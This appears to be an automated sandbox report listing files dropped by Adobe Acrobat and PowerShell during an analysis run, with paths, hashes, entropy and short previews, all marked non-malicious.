SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfYdPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGg8Ukee9
MD5:	6AC6BA93ABA4CB22A6F2A8EFF73048D5
SHA1:	4405C3ADB9B6AB4183A6DF19A917C681E0EDEAA1
SHA-256:	A68030DCCED54532E6D21B7139604FEEE9CAB47A79634611BB5EB77FAF4C301A
SHA-512:	5371713E30A154E916E1AD5433CF15E9AD88576E9F6FF36092A584B1C6E9980431A10612BFC698BC986F7DED4BE95EC946EC31CC3E44FEE168805BC3F60EC876
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2385902357241365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJf+dPeUkwRe9:YvXKXf+UKpvR/ZwHAAnG28Ukee9
MD5:	9B274EC09648CF809B58509A353280D0
SHA1:	28DE4E0E4BC9CFF9FC5EFEF45C27F1E64CD42B9A
SHA-256:	F02E4BC4D681318A1EA74D8A661BA7B914D94327C40058BF69F0591593139A7E
SHA-512:	C64C6E0632A7F5A7A19005E0E4E17B2DC76C49D9022C5E3819830D116A6A3C10171089B7C571DBA8E3FC33FF9224FE08C424A7112D9A1776AC4E050246FFE162
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.237538672585692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfbPtdPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGDV8Ukee9
MD5:	61377BD4B90EC0B74A7CFEC8647AA055
SHA1:	C1E35945B7E4D01C087574C97FCEA4A622A839ED
SHA-256:	A1C86C3790942C5705FD00781E3ADCBE266AF0396158F731B2B7C70013B50EC6
SHA-512:	309D1289247E9A593E37DC4D4EE85F4F719DA372853CAB0201CF99BFD6403EE1FA7A6221AB868852845D06224173E418F430497A4F0A6FC7B333BA1F32AA0D84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.235626008810166
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJf21rPeUkwRe9:YvXKXf+UKpvR/ZwHAAnG+16Ukee9
MD5:	768E483B2B5F20893791E5C34B1797D9
SHA1:	0F7295C7E3378679D8BB51A6162CE348CB44492D
SHA-256:	B131937269E7752248102FF77C71614EAF27FB27FAF0556F976BAB6D91EFFFC6
SHA-512:	3B407BD7ABCD0626DE9446D0EDE3E66EAE86AE4643BF4C0B181F8BAD2E4836DD01C96C697838A1370DD636EE51881A638AA11BA55374D8DDB9C54F672FA37847
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669395057946883
Encrypted:	false
SSDEEP:	24:Yv6Xf+UKpJh0YamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2:YvvUKJh0eBgkDMUJUAh8cvM2
MD5:	6F72F91D1EA4059BE1B779225843C371
SHA1:	405F8585DE747A90D402EF7A388EE1DF644C9676
SHA-256:	A68E2B9ABA5BAD8881A6C5E81B425CD71BE37444BF568EF0B7C1D4701E1AFEE2
SHA-512:	3A47E661A9FEA2A621DD9A227CBC845E689968090691EFBD89C83CEAB52282258C7BB5BA6247C177063AC32CD5353CD03FE531B3C1DA02C4BA5EF2BB5C24D40F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.212061207978278
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfshHHrPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGUUUkee9
MD5:	C33FFEE3780A245669DEBBBD5C3829DC
SHA1:	0B5896018C62E855C1F7BC23D5A3B3CF89B2F9AF
SHA-256:	622CBCC414960FE69BB266FCB76B751DB08AE10ED078048E8861DCB3BFE9025F
SHA-512:	BDC7B2BAE303FAFEC7754A869DF77EAA04A8D9AE441245947C759F8F14836D6B6943F7181312F764EA91AAE22B3C1461AD6A46535CE156F24617D2AA52A1DACE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.218040165754015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJTqgFCrPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGTq16Ukee9
MD5:	E8209441652D6CE6D24B138EBF071018
SHA1:	B05F8801BB7EAE9546BE16A807D4C46250EEF561
SHA-256:	0BC58DDE1F3CCA378BE4F7AD680CBACFA1B35560EDE70B1F16CFA2121A3FA84A
SHA-512:	E752916BCCCFC8B25CADCAFDF677DDF6F118FFE835F433D16CCD313156E017060102805617DD84996F36D9374ED7D986637D6EA6069F1C7EB612E23447E8BC7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141834172375477
Encrypted:	false
SSDEEP:	24:Y1WwgaL7yPayXG8h3fbsZNLoHkwoOgEwa82zVPVAC0tjucj0Sxw2c7wP2LSxPChE:Y11y7TQN8HIgABDCdcPPKq4RFya+J9M6
MD5:	CB4616EF375581F6075046D728997545
SHA1:	89930E884BB917B7DD63A5634D5A59BEDC70791B
SHA-256:	EB56017F574B7BA71690124BC8104B0EF231B683333C92DAB11E5A84D0883A27
SHA-512:	D0557BA6A990FC6ABF006E4A0A0E831D3B16467F32B28E6F8A4D227FCA9515B6188961B6F3D48456559140CE52143B7BC79ED32EB16BEC3DB8D562EA4297B4E4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5549ec87d830497528d547639a2286f9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736542552000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"91448ebd6b8d2b9a6a606c9205b35ec6","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736542552000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"63e2270be11b01a7439a1bc5d619594f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736542552000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fb09930a2fc209e2d47510947159bbb3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736542552000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0fb8bfbbd37a88fde85a34b7ad267668","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736542552000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"36cc41cba6d91c20b95b8875927e9fb9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3188982426106055
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeytqVpaJ:TGufl2GL7ms9WR1CPmPbPahkypilIs
MD5:	4DF427CC837517864FA862640821CD50
SHA1:	8D03C315CF6E05E97B20D103F8C460BAB9D3B79D
SHA-256:	FC45AD16BF493B0684E0D85845465B98A50C19055CFA717868360F9180350AD0
SHA-512:	CF2F5ABD4CF06B0CDA45D76DE4EE74008E29D2AFE1E93E2A9A2E7C192644690084AF2BDB1F2678383C6BB8F3A9F679CD12B0D01A83F803B7EC8AF75A2CFA555D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.780143994615569
Encrypted:	false
SSDEEP:	24:7+tglhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMey4qVpaVrScVr0InnqLhx/Xz:7MHWR1CPmPbPahBypilIqqFl2GL7msF
MD5:	48B9627DFC7C1E0A0EAA46DF02A4E53A
SHA1:	E44B45D5D49F1C22E071F8CEC7165C17E89C3FA7
SHA-256:	EB20389E58EC89C6E6B276D9F2E3D6CA4362BFA2E5D3DCFAA1A3E98E7842D216
SHA-512:	6DFFC7801D3B72CD5753ADF9A53C504D8CC7097632D648AFDBCAC5CC91EF3D9661361F7922D87198979FF9483F8F780C6B5373863E3C4DC310800B75C260020F
Malicious:	false
Preview:	.... .c.....3h............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglI4MWMzJDFPPk9/Fz+8yMq4FZYyu:6a6TZ44ADElI4MWuJDoyMrFZK
MD5:	D400A72CE7A9FC463FC1B787CDB2912C
SHA1:	481C93154AB48862696986BC3F587D6D0AFF846E
SHA-256:	C9104E14A80093D1C137C5123086E208CA891694EB1C992B14F05FF71B2E7EB8
SHA-512:	1C7142CA810F7633E78C791EFFDDCAE0E6AD96C55EE04895DDE242CCA926C24B2DEFF3663255501BA066C89611C6934629C8760A55D14E230047E1143DEE36DB
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nllluljpkll//Z:NllUOl
MD5:	44243C935A12D5C4805AABAC3EDCCEFC
SHA1:	D60068644C5E990EEC39A225CADC1890A197163F
SHA-256:	A090918B16B28C27D73084D54C4EA53D7286BE98C18244DF9D14BA542D4C43D1
SHA-512:	36959AA341C261D2D60D188D0D1AED2B235184CE3676BE2637AC5922556AF7DA8AEF99AC473D4645DED528C11223B2595DD085E4F4B7A7E5765D8593583E16CC
Malicious:	false
Preview:	@...e...................................A............@..........

C:\Users\user\AppData\Local\Temp\MSIce74f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4853349159267415
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEVCCH:Qw946cPbiOxDlbYnuRK+bDVCCH
MD5:	66F9FB7AA296578206988F30F7E636E4
SHA1:	1D963CEDA3D14ACE0E33BA87BE10475B9A4640F3
SHA-256:	0B19679F56CA49F824CB51AE31EA62131D22E22DCB00841CB9412BAC679E129B
SHA-512:	401EE248753A69149B37F1722563D9E1C4C46953470C27A7ECB531F7D4FD34410B338CD9395189C092E018EDE38F21B6D9106AB884828251259E91B6CDE5BAC2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.5.5.:.5.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qo3qwhzy.bao.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxl0k42b.ycj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-55-45-234.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.30396189555703
Encrypted:	false
SSDEEP:	384:0XZKAp6HtyQOWKsAr6VUwXdVhKzTN9R2NCxPtB/gkwybTlhTDMDcF6FgdfaBgzgJ:V9p
MD5:	0A53A3F1F050511BD436EF6A8342FF83
SHA1:	B5C8D61345744B4C4D94472E989ED24620285241
SHA-256:	2C7C1E7D9E2D677719F007DF40EAB2B2A33830154CDA9CAD590D27ED998BCC3D
SHA-512:	C85036FC46CF120C9B9D8726325A81D99C70D4774106B05494B4DA506740ED92A314F91BAF368511EC50461B247E52692F1F78498254292FED3463C26AD59F7A
Malicious:	false
Preview:	SessionID=a3d2572f-a4d4-45e1-9c37-5e2bebaac1da.1736542545259 Timestamp=2025-01-10T15:55:45:259-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a3d2572f-a4d4-45e1-9c37-5e2bebaac1da.1736542545259 Timestamp=2025-01-10T15:55:45:262-0500 ThreadID=7412 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a3d2572f-a4d4-45e1-9c37-5e2bebaac1da.1736542545259 Timestamp=2025-01-10T15:55:45:262-0500 ThreadID=7412 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a3d2572f-a4d4-45e1-9c37-5e2bebaac1da.1736542545259 Timestamp=2025-01-10T15:55:45:262-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a3d2572f-a4d4-45e1-9c37-5e2bebaac1da.1736542545259 Timestamp=2025-01-10T15:55:45:263-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.405051373739348
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb/+cbUIW8cbZ:ceo4+rsCZVWr
MD5:	3955008AE709C9F436004B886FC19263
SHA1:	F7CF427A607969E9D132BDBF9DFD1944DD29C565
SHA-256:	4B7D84B646883E443C4056CE40CBE42F677C0A24430628EC0F870E1403FDD691
SHA-512:	095AC7A641E39A21ECBA8BBE11D22CCB45028921CF640807CAC63623AE16F0C7939C8D78E8B652E9A54A951D75F25AEF6C8ED80AEAFD410635EA44CD1C6F454E
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\492d549a-6476-46d3-bb22-337de4dc0292.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c2f59bea-7887-4eee-b0ac-a1e1dbe0c74a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
